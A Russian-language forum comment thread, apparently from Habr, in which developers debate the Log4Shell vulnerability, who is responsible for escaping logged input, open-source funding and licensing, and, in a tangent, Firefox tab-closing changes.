Если логи у вас хранятся в таблице в БД, то это задача логгера экранировать (а точнее - передавать логгируемый текст в виде параметров запроса, делегировав экранирование jdbc-драйверу или самой СУБД). Если же логи попадают в какую-то kibana (т.е., данные отображаются в браузере и могут привести к выполнению кода у того, кто лог просматривает), то экранирование - это задача kiban-ы.
Логгер, перед которым приходится еще и данные чистить нафиг никому не нужен.
Все данные, приходящие извне системы, априори считаются грязными и должны быть почищены.
Чистые данные могут происходить только изнутри системы.
Логгер, перед которым приходится еще и данные чистить нафиг никому не нужен.
Простите, а что, в логгер уже включили модуль телепатирования, который определяет, откуда произошла вот эта вот конкретная строка?
Коллеги, у вас спор может быть бесконечным пока нет спецификации. Какой метод логгера вызывается, что сказано в описании этого метода?
Если там на вход должна приниматься строка, которая далее "как есть" передается в адаптер (консоль, файл, бд, ...), и в спецификации ничего не сказано про управляющие команды, то очевидно видиноват логгер. Если говорится, что в строке есть управляющие команды, то значит их надо экранировать и это не вина логгера.
Может есть пример вызова и вырезка из документации по вызываемому методу?
Если там на вход должна приниматься строка, которая далее "как есть" передается в адаптер (консоль, файл, бд, ...), и в спецификации ничего не сказано про управляющие команды, то очевидно видиноват логгер.
Или писатель спецификации, который не рассчитывал, что логгер будет использоваться в небезопасном окружении. А должен был!
Если говорится, что в строке есть управляющие команды, то значит их надо экранировать и это не вина логгера.
По умолчанию все входящие данные следует считать грязными.
Это логгер. Он предназначен для того, чтобы плюнуть туда любую строку и она попала в лог-файл as is
Точнее говоря это поведение логгера ожидаемое большинством программистов.
Малоизвестная фича Log4j стала серьёзной дырой по совокупности причин:
- 99% пользователей и не подозревали, что нужно что-то экранировать, логично ожидая что логгер пишет как есть всё что ему передано. Например для ситуаций «плохиши из Интернета прислали нам вот этот запрос с SQL Injection, но мы его распознали, а заодно записали в логи для анализа». Да, в документации описан механизм интрепретации JNDI выражений, но кто читает документацию на каждый используемый пакет?
- Была добавлена сверхмощная фича исполнения произвольного кода которая не нужна подавляющему большинству пользователей, причём включена по умолчанию. Понадеялись что все кому она не нужна сообразят это при чтении документации и заэкранируют. Про документацию см. предыдущий пункт.
- Бесплатные библиотеки (не обязательно open source) поощряют бездумное добавление внешних зависимостей по поводу и без. Недавно сам видел как ради единственной строчки со сравнением временных интервалов в проект притащили огромную по функциональности библиотеку работы с датами. Думаете кто-то читал что она ещё там может? Проблема разработчика «решена» за 5 минут, всё
работаетне падает видимым образом, денег не просят. А что такого? Приложения уровня чуть выше «hello world» с 20.000 файлами в node_modules никого не удивляют, привыкли. - Даже если разово найти деньги и людей на аудит всех зависимостей, завтра в дереве пакетов что-то поменяется. package-lock.json и подобные им частично решают проблему, но популярность вопросов про их использование показывает насколько мало люди понимают какие грабли могут таиться за безобидным подключением ещё одного пакета. Да, программисты называют условную Java неповоротливым монстром и кровавым энтерпрайзом, им хочется чтоб новые плюшки можно было загружать на лету прямо с GitHub, а не ждать очередного релиза JDK, но вы пробовали рассказать вашему безопаснику происхождение кода исполняющегося на build-сервере, а то и в продакшене? Надежда и авось это не лучшие стратегии построения стабильного приложения.
Мы настолько привыкли к быстрой разработке с использованием сотен сторонних библиотек, что решение хотя-бы вдумчиво читать документацию и анализировать изменения означает добровольно отдать свою долю рынка менее щепетильным конкурентам. Поэтому все закрывают на это глаза, уповая на то, что какие-то абстрактные эксперты обязательно вовремя заметят и устранят уязвимости в популярных библиотеках. Это же open source, пускай другие за меня работают.
Поэтому все закрывают на это глаза, уповая на то, что какие-то абстрактные эксперты обязательно вовремя заметят и устранят уязвимости в популярных библиотеках.
ради справедливости - если опять вскроется дыра размером с Heartbleed или настоящую проблему с log4j, то об этом опять будет известно всем. И фикс тоже будет издан в кратчайшее время.
А проблемы в самописной библиотеке точно так же будут случайно вскрыты хакерами, использоваться втихую, и никто никому ничего не зарепортит...
«поведение логгера, ожидаемое большинством программистов» было задокументировано.
Фактическое поведение задокументировано не было.
В таком случае данная фича вообще стоит рядом с бэкдорами.
Проблема в том, что мир OSS очень сильно увеличился и включает в себя целую пачку экосистем, в итоге там, где раньше (лет 15-20 назад) над одним кодом работала куча людей, сейчас зачастую одну из десятков используемых библиотек может активно пилить полтора энтузиаста и хреновая фича запросто может попасть в очередную версию библиотеки. Что мы и наблюдаем. Была байка про то, как кто-то попытался протащить backdoor в ядро linux, но на этапе code review его обнаружили.
Была байка про то, как кто-то попытался протащить backdoor в ядро linux, но на этапе code review его обнаружили.
Как я понимаю, речь о статье по ссылке в это комментарии
Ну я честно пытался читать. Именно вот эту самую по вот этому вот поводу. Там еще так сразу хрен найдешь, где именно выражения интерпретируются, а где нет.
Обычно, 99% фунцкций в модных комбайнах логирования не нужны от слова совсем в конкретном проекте. Но разработчик-то подключает всю либу с дефолтными настройками, не особо вникая в детали реализации, в документацию, в анализ безопасности и прочее. У него же таска в джире горит.
Если логгер понимает выражения вида ${abcd} и как-то их обрабатывает, значит это не просто логгер, а язык разметки, и внешние данные, которые добавляются в эту разметку, надо экранировать. Так же как их надо экранировать через htmlspecialchars() при выводе в HTML, или через json_encode() при выводе в JavaScript, или через db->quote() при выводе в SQL. И раз уж логгер имеет управляющие конструкции, то он должен иметь и способ их экранирования, и сам убирать экранирующие символы при записи в файл.
Обычно (в мире java-логгеров) первый аргумент функции логгирования (как вариант - второй, т.к. первый - уровень логгирования) - это строка форматирования. Соответственно, этот аргумент обычно хардкодится (исключение - когда аргумент всего один), остальные параметры не должны никак интерпретироваться (ну разве что для некоторых типов может использоваться особое преобразование в строку вместо вызова toString()), кстати, передача в первом параметре строки из недоверенного источника должно, по идее, ловиться всякими анализаторами уязвимостей.
Ну вот, собственно, в том и претензия к логгеру — какого фига он понимает выражения вида ${abcd} там, где от него ожидается обратное?
Вообще-то, он "понимал" такие выражения именно там, где это от него "ожидалось" :) почитайте код log4j, и посмотрите, что такое formatMsgNoLookups, {nolookups}. Сама уязвимость выглядит как "insane" defaults :) Хотя я, честно говоря, не могу представить себе валидный сценарий, требующий загрузки класса через логирование
Это вы про CVE-2021-44228 написали (кажется). А есть ещё и CVE-2021-44832...
Для CVE-2021-44832 нужно иметь доступ на запись в конфиг файл. Это примерно как дать доступ на запись к конфигу httpd и увидеть, что стал возможен RCE через e.g. <Perl> секции.
Не нужен доступ на запись, достаточно настроенного JDBCAppender.
Да, это означает что уже не каждое приложение уязвимо (к примеру, майнкрафту в дефолтной поставке этот баг уже не грозит). Но дыра всё ещё есть.
https://nvd.nist.gov/vuln/detail/CVE-2021-44832
where an attacker with permission to modify the logging configuration file can construct a malicious configuration using a JDBC Appender with a data source referencing a JNDI URI which can execute remote code.
Ну и да, пусть даже оно 100 раз настраиваемое, и можно было использовать его безопасно — но ожидались от логгера именно безопасные умолчания.
Поэтому файрвол — это вообще должна быть именно рутина.
++++
либо сетевые политики в кубернетесе (если мы в нем). А еще везде шифрование (TLS) - потому что злоумышленник может быть внутренний. И жизнь сразу становится чуточку более спокойной.
И насчет сетевых политик - они должны быть по принципу белого списка. Потому что количество точек интеграции приложения как правило конечное. Есть, конечно, нюансы со всякими амазонами, которые используют динамические пулы, но это решаемо
Ну да, пожалуй тут надо шире трактовать. Вплоть до mTLS, чего от нас кстати все время требуют безопасники.
Потому что количество точек интеграции приложения как правило конечное. Есть, конечно, нюансы со всякими амазонами, которые используют динамические пулы, но это решаемо
Это очень смелое утверждение. Веб хуки, энтерпрайз API, экспорт/аплоад данных - все это обычно подразумевает, что пользователь может где-то указать произвольный URL за который система должна его дёргать.
Конечно, в энтерпрайзе обычно ставят отдельные сервера, которые ходят по таким урлам, но им тоже нужно логгирование, а их компрометация - это как минимум возможность повлиять на весь исходящий траффик в сторону кастомных пользовательских направлений.
Так что, одними былыми списками тут не отделаешься.
все это обычно подразумевает, что пользователь может где-то указать произвольный URL за который система должна его дёргать.
Ну, далеко не все системы подразумевают такой функционал. А если подразумевают - те же сетевые политики можно генерировать на ходу. Касательно Энтерпрайз тоже правильно пишете. Ехал прокси через прокси. И везде проверки. В конце-концов хотя бы минимальный контроль доступа нужен. Ну, и Вы опять же правильно говорите, что есть некие архитектурные требования (включая иб) и проще их удовлетворить. Иногда, конечно, это порождает странные решения.
их компрометация - это как минимум возможность повлиять на весь исходящий траффик
Ну, компрометация waf или входящего http балансировщика - тоже critical. Но идея ведь в том, что конечное количество точек обезопасить проще, чем неограниченное. Это раз. Два - функционал waf/балансировщика и всего прочего тоже конечный и его проще подвергнуть аудиту, правильно настроить, чем фигпойми что.
В конце-концов - я о том, что должно быть описание. Машиночитаемое и человекочитаемое. Потому что если его нет - невозможно понять, работает ли система корректно или нет. Взломали нас или нет. И если где-то в матрице взаимодействий есть условная звёздочка - это повод к системе выдвинуть какие-то дополнительные требования по обеспечению ее целостности/защищённости и прочего.
И жизнь сразу становится чуточку более спокойной.
До следующего Heartbleed
Потому что количество точек интеграции приложения как правило конечное.
Я, как математик, вас поддериживаю. Всё, что делает компьютер за конечное время, — конечное.
А почему вы думаете только о "интернете", забывая, что можно подставить конкретный IP из локальной сети и дав адрес предварительно заражённой машины. Были случаи когда заражали сборочный сервер - от какого-нибудь сервера ФСО РФ до сервера SolarWinds, а уж случаев когда внутри корпоративной сети ломают первую машину в качестве плацдарма и вовсе каждый первый. Так что вектор атаки мне кажется более серьёзным, потому что если с моделью внешних угроз все худо-бедно научились жить (то же ограничение IP-адресов "снаружи", скажем, ходить на адреса ЦБ РФ за обновлёнными данными по валютным парам), то внутри компании ограничения могут быть намного более слабыми.
>внутри компании ограничения могут быть намного более слабыми
Не вижу особых причин для этого (ну кроме лени или недостатка времени). У нас и внутри ограничения — белый список. Ну т.е. если вашему приложению вдруг нужен сборочный сервер для установления исходящего соединения — то вы скорее всего про это знаете заранее, и разрешите его IP явно. А такого чтобы приложение ходило куда угодно на неизвестный список хостов — ну не знаю, у нас безопасники просто такую архитектуру не согласуют.
Что меня порадовало в этой истории, так это то, что сначала создали интерфейс удобный, красивый и способный забрать что угодно и откуда угодно. Потом внедрили его много где (включая логер) поскольку он универсальный и удобный. А потом БАЦ!!!, "батюшки святы"(с) он же может получить что угодно и откуда угодно!
А на кой леший это создано, и зачем везде внедрено! Возможно Log4Shell открывает другую проблему в Open Source, а именно - черезмерное сремление к универсальности и всепогодности-всепроходности. Я вообще с трудом могу себе представить зачем нужен этот монстр (хотя бы он и миленький и удобненький) в практических случаях. Кому-то хотелось подтянуть строчку из LDAP или CORBA без лишних телодвижений? Это крайне похоже на стиль мышления Java (достаточно здравый на мой взгляд, если мы говорим о прикладных задачах) - наколбасить многомегабайтную библиотеку, чтобы в прикладе иметь возможность закрыть вопрос парой нотаций и одним объектом. Но вот глубина этого всего, что можно таким образом провернуть, явно великовата.
А что касается до аудита кода, то безопасный код пишется по другому. Безопасные библиотеки не удобны для новичков, и требуют понимания происходящего. По настоящему осознание "безопасность" приходит при чтении исходников OpenBSD. Я в своё время за пару часов с базовыми значниями sh прочитал скрипт запуска и установки этой системы, и мне стало КРИСТАЛЬНО понятно, что там происходит, поскольку было написано понятно, и прекрасно укладывалось в голову, без лишних сущностей. Подобное сейчас не пишут, а если и пишут то это не модно. На эти грабли вставали ещё во времена эпичных дыр в OpenSSL и с тех пор мало что изменилось.
>А на кой леший это создано, и зачем везде внедрено!
Я бы так сказал — когда выражения, которые можно вычислить, находятся под нашим контролем — все еще более-менее неплохо, и удобно. Скажем, logback тоже позволяет похожие вещи писать, и Camel, и JSTL, откуда все это пошло, да что там — я и сам такое использовал. Но эти случаи ограничены «конфигами», то есть пишутся в файлах, которые контролирует разработчик или админ. То есть, чтобы проэксплуатировать возможность «забрать что угодно и откуда угодно» — нужно иметь доступ на запись к конфигу, как минимум.
Это ведь не первая статья на данную тему, а скорее двадцатая. И когда появились первые публикации, я лично полез в документацию log4j смотреть, а что собственно за фигня. Так я потратил достаточно много времени, но до сих пор не могу сказать, где там написано, что это можно использовать не только в конфиге, но и в данных. То есть в конкретном случае налажали во всех смыслах — разрешили это в данных, и не описали в документации как следует, что это вообще и с чем его едят. Когда читаешь описание — изначально складывается впечатление, что это фича для конфигов только. И даже то свойство, которое должно сию фичу отключать — попробуйте его в документации найти? Мне вот не удалось сходу это сделать — только в коде.
так реализацию этого expression language и добавили jndi туда создатели log4j сами?
issues.apache.org/jira/browse/LOG4J2-3211
issues.apache.org/jira/browse/LOG4J2-3294
Мне кажется, вы используете "open source" как замену слову "код". Если посмотреть на тысячи уявимостей у MS, то там никакого open source нет, а баги все те же.
Не совсем. Есть баги, которые появились по недомыслию, скудоумию, невнимательности, а есть атомный фугас неуправляемой универсальной функциональности оставленной без присмотра, только потому, что он "Open Source" и "тысячи программистов по всему миру его проверили"(с). Есть множество ПО долгое время живущее без проблем просто потому, что не стремятся покрыть собой весь мир. И тот же log4j жил бы спокойно, если к тому обычному для него километру конфигов нужно было явно добавить строки с подключением модулей для парсинга этих выражений. Глядишь и парсилось бы быстрее...
Почему одно "по недомыслию", а другое "ядерный фугас"? И там и там не подумали. Условные винды с ping of death были не менее выразительны (а повреждений было меньше из-за меньшей связности по сети).
opensource - это атомный фугас, а винды, которые с флешки autorun запускают - это "всего лишь скудоумие". Его, кстати, даже багом не признали.
В тред призывается @mvideo.
Опенсорс виноват в том, что если бы его не было, то дыра была бы в платной/закрытой библиотеке и её (дыру) никто бы не нашёл?
Security through obscurity жеж.
тут даже хуже выходит. ОпенСорц виноват в том, что не делает бесплатно пуленепробиваемый софт на основе которого корпорации будут делать деньги. Их же никто не заставлял использовать открытый софт. И исходники для проверки никто не прятал. Но винить себя в том, что наш платный софт пострадал из-за того, что мы доверились ОпенСорц проекту с людьми работающими на голом энтузиазме... Это даже звучит не как оправдание.
Даже не так. Опенсорс виновен в бесплатном распространении софта и библиотек, использование которых может быть не безопастно и не предоставляет никаких гарантий.
Хотя подождите! А чем это отличается от платного софта??
Бесплатностью жеж! :)
Бесплатность не тождественна отстутствию ответсвенности. Возможно именно в этом автор и увидел кризис, по крайней мере в том изначальном смысле этого слова, что обвинения звучат, а каких-то средств регулирования проблемы не существует.
Бесплатность не тождественна отстутствию ответсвенности
Не тождественна. Но ответственность у разработчиков опенсурса наступить не может. С чего? Если бы разработчик опенсурса умышленно вносил уязвимости в код... но это недоказуемо. Да и вообще - как доказать, что именно Васян внёс уязвимость. Он же потом будет рассказывать, что его взломали, gpg ключи угнали и все такое. И вообще - он пишет код в свободное время и никому никаких гарантий ни по безопасности, ни по скорости, ничего он не давал. И вообще он художник и так видит.
Так я никого и не обвиняю. Просто говорю, что в профессиональном сообществе есть разные взгляды на проблему, и чем чаще будут появляться подобные обсуждения, тем быстрее кто-либо возметься за их решения. Возможно даже вплоть до юридического регулирования со сроками за кривой код, например если появятся прецеденты со смертельными исходами, но как по мне это крайне маловероятный сценарий.
Бесплатность не тождественна отстутствию ответсвенности.
Вот ответственность и была на том, кто эту библиотеку в своём проекте использовал — вместо того, чтобы написать свою, и за неё полностью отвечать.
Бесплатность не тождественна отстутствию ответсвенности.
Limitation of Liability. In no event and under no legal theory [...] unless required by applicable law [...] or agreed to in writing, shall any Contributor be liable to You for damages [...] of any character arising as a result of this License or out of the use or inability to use the Work [...] even if such Contributor has been advised of the possibility of such damages.
В общем случае ответственность не наступает. Для наступления нужна конкретная статья, что ты — лицензиар — ответственен за последствия использования того, что там лицензировано. До этого может дойти разве что дорожкой из трупов, и то, из солидарных соображений.
Что-то мне кажется, что это попытка переложить с больной головы на здоровую. Я ситуацию вижу так:
Вот эти компании https://www.apache.org/foundation/thanks сами же и продонатили вот эту фичу https://issues.apache.org/jira/browse/LOG4J2-313
Никто из пострадавших данную фичу не заказывал и ею не пользовался. Получается наоборот, если бы спонсоры не вмешивались, то и проблемы бы не было.
Вот только опасная фича — это вовсе не поддержка JNDI. Опасной фичей тут является парсинг log4j-разметки в логируемых сообщениях, в то время как надо было бы оставить эту разметку только для конфигов и, может быть, строк формата.
Судя по тому, что я накопал в их гитхабе, опасная интерполяция строк - это не отдельная фича, а особенность реализации фичи с лукапами. Там была когда-то реализована возможность по регулярному выражению что-то подставить уже после того, как строка была отформатирована. Обычно это делается для скрытия паролей и другой конфиденциальной инфы. А уже потом, когда добавляли lookups, вставили его не в то место, где осуществляется форматирование, а в то место, где осуществляется финальная подстановка.
На мой взгляд, тут проблема именно в спонсорах. Если я сделаю pull request с какой-нибудь фичей, ее будут рассматривать под микроскопом, спрашивать: "а зачем это?", "а для чего?", "а безопасно ли?", "а кому это нужно?". Если же спонсор кинет емэйл мэйнтэйнеру: "Бро, сделай вот эту штуку, плиз", - то сам мэйнтэйнер быстренько запилит, быстренько отревьюит, быстренько вольет, и никто не заметит.
Тут вообще от архитектуры надо идти. Должно быть некое ядро и динамически подключаемые плагины. Нужна какая-то хитрая специфическая функциональность - пили плагин. Если какой-то плагин оказывается уязвимым, отключаешь его, и все. Тут же специфическую для очень редких случаев функциональность воткнули прямо в ядро, на мой взгляд, из-за желания угодить спонсорам.
Получается наоборот, если бы спонсоры не вмешивались, то и проблемы бы не было.
Sponsored by АНБ.
Не понятен посыл. Хотите, чтобы писатели логера получали зарплату? Наберите команду и пусть пишут логер. Продавайте его потом или распространяйте бесплатно - как захотите. Вы же не считаете, что свободный софт - это результат рабского труда? Или вы думаете, что за деньги пишут всегда хорошо? Какую проблему мы сможем решить?
Это был абстрактный логер :) Без привязки к apache
больше 100 тыс долларов
Зарплаты двух джунов с накладными расходами.
С другой стороны, логгер то они не каждый же день по 8 часов пишут
Ну то есть, я не знаю, что там конкретно в log4j проекте, а в спарке (который тоже Apache Group) явно есть отдельные люди, которые занимаются тем, что следят за Jira, причем делают это чисто формально, как в нашем случае. Я вот совершенно не уверен, что они не на зарплате в условном Databricks.
P.S. Те люди, с которыми я знаком по личному общению, пишут по паре более-менее крупных проектов где-то в RedHat. Ну т.е. делают скажем Jboss Fuse, который коммерческий, и попутно выпускают в виде OpenSource его компоненты Apache Karaf и Camel, например.
Но ваш посыл я вполне понимаю — формально платиновый спонсор Apache Group — это тот, кто содержит одного-двух разработчиков, возможно. Что конечно же мало.
Вы хоть в открытых источниках почитайте как устроена Apache Software Foundation (если что Apache Group закончилась больше 20 лет назад, в районе 1999). ASF не платит и никогда не платила за разработку. За сервера, внешние сервисы, опсам из infra, юристам, за регистрацию торговых марок - платит. Хотя часть тоже со скидками (например, юридическая фирма может донатить определенное количество часов работы их сотрудников, всё что сверх - идёт из бюджета Apache). В общем всё спонсорство идёт на обеспечение работы организации и инфраструктуры для разработки.
Другой момент что большинство коммиттеров где-то работает, но зачастую не получает деньги от условных IBM за работу над конкретным проектом. Особенно инфраструктурным и не хайповым.
После Heartbleed появились альтернативы OpenSSL и заняли существенную нишу. Сильно активизировалась разработки новых memory-safe языков, исключающих повторение подобного. Не говоря уже о том, что пропатчили и задеплоили все довольно быстро. Даже некоторые производители домашних роутеров подсуетились и выпустили патчи к старым, не поддерживаемым более моделям.
Если это о чем-то говорит, то о том, что open-source работает. Нечего панику нагонять.
И по сути повторяется история с Heartbleed'ом. Ну в тот раз выводы в плане нормальной поддержки OpenSSL сделали...
Вчера я одному известному блогеру отправил на рецензию англоязычную статью, где призываю пользователей RSS-Bridge платить за мою работу сопровождающего проекта.
На данный момент жду ответа от него. Надеюсь ответит.
Cегодня я читаю эту статью, и ух как прям хочется высказаться.
Процитирую ту часть, которая мне понравилась:
Решением может стать нормальное финансирование опенсорса с профессиональными мейнтейнерами на зарплате.
Правильно! Я, как сопровождающий проекта, всеми руками и ногами за! Я даже согласен не получать 150 000 USD в год, а просто 15 USD в час с видео-записью экрана и краткими текстовыми отчетами. Это чуть больше 30 000 USD в год. Живу в Уфе. В какие-нибудь дорогие Москву, Калифорнию или Берлин переезжать я не планирую.
В общем, есть предложение реализовать юридический механизм, чтобы корпорации могли платить зарплату независимым мейнтейнерам.
В моем случае уже есть такой механизм. Станьте спонсором на Open Collective. Любителям инвойсов, отчетов и прочей бухгалтерии там будет комфортно, потому-что надо платить формально юрлицу "Open Source Collective", а та потом с комиссией скидывает деньги мне.
Какие конкретно задачи я буду делать я перечислил в англоязычной статье выше. Раздел "Roadmap".
PS: я кстати уже писал в начале декабря русскоязычную версию статьи и попытался на хабре опубликовать. Модераторы ее не приняли.
Модераторы ее не приняли.
По причине?
По причине?
К сожалению, точный текст причины не помню и этот текст не сохранился, как и сама статья. Сохранилось только уведомление об отклонении модератором, датированная 3 декабря 2021.
Могу сказать, что после прочтения причны, я сделал вывод, что нужно статью переписать, чтобы она была более структурированная. После исправления я снова подал на рассмотрение, и ее долго не рассматривали. Я думал может быть модераторы не работают в субботу и воскресенье. В итоге после того, как не рассмотрели в понедельник, а именно 6 декабря 2021, я сделал вывод, что ее просто решили не рассматривать.
Через некоторое время сама статья в моем профиле изчезла.
Само содержание той изсчезнувшей статьи отличается от текущей англоязычной. Например в русскоязычной версии были реквизиты на мои кошельки QIWI, Cбербанк.Онлайн и ЮМани, когда как в англоязычной вместо них используется ссылка на страничку в Open Collective, про который я узнал позже.
Чем RSS-bridge отличается от https://www.fivefilters.org/feed-creator/? (кроме модели разработки)?
Чем RSS-bridge отличается от https://www.fivefilters.org/feed-creator/?
С продуктом не знаком. Поэтому пишу о том, с чем ознакомился за первые 10 минут.
В RSS-Bridge для сайта надо писать скрипт на PHP. Генерируемая ссылка с лентой не изменяется, если меняется структура страницы. Разумеется требуется переписывать скрипт под новую структуру страницы.
В справочнике для генерации лент для твиттера автор предлагает использовать либо другой свой продукт либо RSS-Bridge.
мозилла да, отличный пример. (нет) сначала они убрали разделители между вкладками, но это можно было восстановить в about:config
потом они убрали это и оттуда. обходные пути ещё есть (пока) но они сложнее. и теперь все вкладки - это единая серая полоса.
далее они убрали крестики закрытия на вкладках. т.е. после некоего числа вкладок, что то около 10, закрыть в один щелчок невозможно. щёлкай правой кнопкой, выбирай "закрыть вкладку", щёлкай ещё раз. 3 действия вместо одного.
про то что они выгнали почтовый клиент на мороз - ну это было уже давно, все уже и забыли.
можно сказать, что это внешний вид, интерфейс, это вкусовщина, а вот внутри то там ого как всё сделано! и вот в этом ого свежайшей версии я не смог открыть собственный репозиторий на битбакете. ну то есть страничка открывается, но отображается пустой. со скрипом и пыхтением пришлось перейти на... ну понятно куда, больше то некуда.
По поводу разделителей между вкладками.
Вот это не поможет? https://separator.mayastudios.com/
И, вроде, не так сложно. Нужно только в свойствах закладки убрать имя, и будет выглядеть красиво )
надо смотреть что эта штука делает. так то понятно что есть и всякие расширения для работы с вкладками и тд
Просто еще одна закладка на панели закладок, у которой favicon в виде вертикальной черты. Если в настройках закладки убрать имя, то останется тольк этот значок, который и будет выглядеть разделителем. Не нужно устанавливать расширение для броузера, которое так или иначе будет отнимать память и время процессора, при переносе закладок с одного броузер в другой (или при их синхронизанции) будет выглядеть одинаково для всех броузеров.
А зачем жать на крестик, когда есть средняя кнопка мыши… или даже Ctrl+W
ну, ctrl+w работает только на одной вкладке. той, которая активна сейчас. т.е. иной сценарий.
про среднюю кнопку мыши я не знал, искаропки оно у меня не работает (calculate+kde), в первых ссылках в гугле мне выдало "Middle click, aka wheel click, does nothing"
я не говорю о том, что функционал выпилили вообще.
я говорю о том, что он стал неочевиден, неэргономичен и недоступен так, как он был доступен раньше - без настроек в about:config и тд.
У меня в Cinnamon DE сейчас из-за настроек Middle Click тоже не работает, но это именно из-за настроек — по умолчанию там включена имитация Middle Click через нажатие обеих кнопок мыши одновременно. Не знаю уж, почему такое умолчание, но может и у вашей DE так же, как у моей.
К слову, постепенно привыкаю к комбинации RMB+LMB Click. В некотором роде это даже удобнее, чем Middle Click, так как исключает возможность вместо клика по колёсику сделать прокрутку.
далее они убрали крестики закрытия на вкладках. т.е. после некоего числа вкладок, что то около 10, закрыть в один щелчок невозможно. щёлкай правой кнопкой, выбирай «закрыть вкладку», щёлкай ещё раз. 3 действия вместо одного.Щелкайте колёсиком мыши.
3 действия вместо одного.
В 2 действия: сделать вкладку активной и нажать крестик.
про то что они выгнали почтовый клиент на морозПравильно сделали: браузер это не почтовик, не торрент-клиент, не нужно делать из него bloatware. История с превращением Nero Burning ROM, в bloatware была очень давно, видимо, мало кто уже помнит.
и вот в этом ого свежайшей версии я не смог открыть собственный репозиторий на битбакете. ну то есть страничка открывается, но отображается пустой
Если это не воспроизводится на чистом профиле, то это работа навешанных дополнений и натвиканных твиков, то есть, вина пользователя.
закрыть в один щелчок невозможно
Средняя кнопка мышки (или трёхпальцевый тап на большинстве современных тачпэдов).
del
del
Вы просто не знаете, что вкладку можно закрыть (и открыть) нажатием средней кнопки мыши (на пустом месте).
Интресно сколько М.Видео-Эльдорадо тратит на поддержку open-source?
Не согласен с тем, что корпорации должны поделиться.
Сотрудники должны ответственно подходить к использованию стороннего кода. Думаю корпорации этого требуют от сотрудников. Но сотрудники забивают, а корпорации слишком доверяют своим сотрудникам.
Корпорации могут проводить аудит, до того как код будет использован в производстве. А могут не проводить. Это вопрос их рисков.
Корпорации могут контрибьютить и исправлять баги. Многие так делают. Яндекс любит рассказывать как контрибьютит в Постгрес.
Вы предлагаете корпорацям платить за то что другие используют бесплатно. Корпорации должны платить, просто потому что у них есть деньги. Хотите денег - напишите об этом в условиях лицензирования.
Одни сотрудники накосячили, теперь другим сотрудникам пришлось эти косяки срочно исправлять и вы хотите что бы корпорации раскошеливались, они уже заплатят за разработку патчей и выпуск новых пропатченевх версий, за передеплойвсего на свете.
Вы требуете платить зарплату майнтейнерам. Корпорация уже заплатила деньги сотрудникам, которые забили на аудит. Теперь надо заплатить контрибьюторам ? А какую ответственность контрибьютор понесет перед корпорацией, если тоже забьёт на аудит ?
Не согласен с тем, что корпорации должны поделиться.
А то, что опенсорсники поделились (кодом) с корпорациями — это, по-Вашему, так и должно быть?
Захотели и поделились, https://packagist.org/packages/sbwerewolf/ - мне хочется я делюсь, сейчас библиотеку свою допилю и тоже поделюсь.
Вам не хочется ? Не делитесь, ни кто не осудит.
Я осужу (морально). Потому что я с корпорациями своим трудом делюсь, а они со мной совсем ничем не делятся. Это "тунеядство" называется (в английском точнее — freeloading).
Вы вольны в условиях лицензии своего open source кода указать любые законные требования к тем, кто будет этот код использовать. Если считаете, что корпорации вам что-то там должны за использование вашего кода - то пропишите это в лицензии. Вот если корпорации нарушат лицензию, то тогда и называйте их тунеядцами и осуждайте морально. А то чем вы сейчас занимаетесь - называется произвол.
Произвол, это требовать супер качество, супер безопасность, регулярный аудит, и все такое прочее от людей (заметьте, именно от людей), которые корпорациям и другим людям ничего не должны.
А так получается классика жанра. Сначала кто-то сделал для себя библиотеку, и выложил ее в общий доступ. Потом пришли большие корпы и что-то там просят, а иногда и откровенно требуют, при этом баблишко платить не готовы.
По моему опыту большие корпы как раз ничего от опен сорса и не требуют. Есть готовая библиотека - используют, нет готовой библиотеки - пилят что-то свое, иногда даже выкладывают в тот самый опен сорс. Это вы тут начнинаете задним числом какие-то требования придумывать к тем кто пользуется опен сорсом.
То есть Вы без 44-страничного документа, обнюханного и подписанного лучшими адвокатами, бабушку через дорогу не переведёте?
А в наше время это называлось "вежливость". Что-то взял от сообщества — изволь как минимум столько же обратно положить.
То есть Вы без 44-страничного документа, обнюханного и подписанного лучшими адвокатами, бабушку через дорогу не переведёте?
Ну если вы не можете выразить свои требования на меньшем кол-ве страниц, то да, нужен будет 44 страничный документ. Впрочем обычно open source лицензии требуют поменьше и влезают в документы покороче, но конкретно ваши запросы могут быть поболее чем, скажем, у MIT License. А вот зачем адвокатам обнюхиваит и подписывать ваши лицензии для меня загадка. Кажется, что вы не очень понимаете функции адвокатуры.
А в наше время это называлось "вежливость". Что-то взял от сообщества — изволь как минимум столько же обратно положить.
Не знаю что там в ваше время как называется. В мое время менять требования задним числом вежливостью не называется.
Я к тому, что нормальные люди делают то, что дОлжно, без всяких лицензий. А халявщики — они халявщики и есть, им закон лицензии не писаны.
Не знаю кто такие в вашем понимании нормальные люди и кому они там чего должны. Выложив проект в опен сорс с какой-либо лицензией автор предлагает всем договор, пользователи данного проекта начав собственно этот проект использовать на этот договоро соглашаются. С этого момента и автор и пользователи должны друг другу ровно столько сколько в лицензии прописано.
Все остальное - это ваши выдумки. Не хотите, чтобы вашим проектом пользовались бесплатно - не выкладывайте его под лицензиями подразумевающими бесплатное использование.
Все остальное - это ваши выдумки.
Ага, "не хотели б, чтобы я ходил по этой траве — забор поставили бы!" (c).
Ага, "не хотели б, чтобы я ходил по этой траве — забор поставили бы!" (c).
Скорее, "не хотели б, чтобы я ходил по этой траве — не ставили бы табличку "ходи кто хочешь!".
Вы серьезно считаете, что предложить что-то кому-то бесплатно, а потом называть согласившихся тунеядцами, халявщиками и ненормальными т.к. они не занесли вам денег - это ок? Никаких противоречий не замечаете?
Вы вольны в условиях лицензии своего open source кода указать любые законные требования к тем, кто будет этот код использовать.
кстати, не совсем. Дописывание всяких доплат.ограничений неприветствуется в мире опенсорса и такая лицензия уже не будет считаться открытой
Согласен, это будет уже не open source, а нечто другое. Но и автора проекта никто и не заставляет именно open лицензию использовать, а не взять какую-ту другую, или даже свою придумать.
Тогда минимум треть (если не половина) пользователей отвалится. Специфичная лицензия потребует согласования и, возможно, юридического аудита на предмет допустимости использования. Как итог - в большинстве случаев, проще найти другую библиотеку или самому написать аналог.
Тут человек хочет, чтобы ему в обязательном порядке корпы использующие его проект заносили ему деньги. Так что тут еще и официальную оплату нужно будет проводить.
Нельзя иметь пользователей как будто проект бесплатный, но денег с каждого пользователя получать как будто проект платный.
Почему нельзя? Двойное лицензирование GPL + коммерческая лицензия. Если это библиотека - по крайней мере, другой GPL-софт сможет её использовать.
С другой стороны, сменить лицензию для популярного (а значит, имеющего кучу контрибьюторов) открытого ПО может быть довольно проблематичным действием, если изначальная лицензия не разрешает этого.
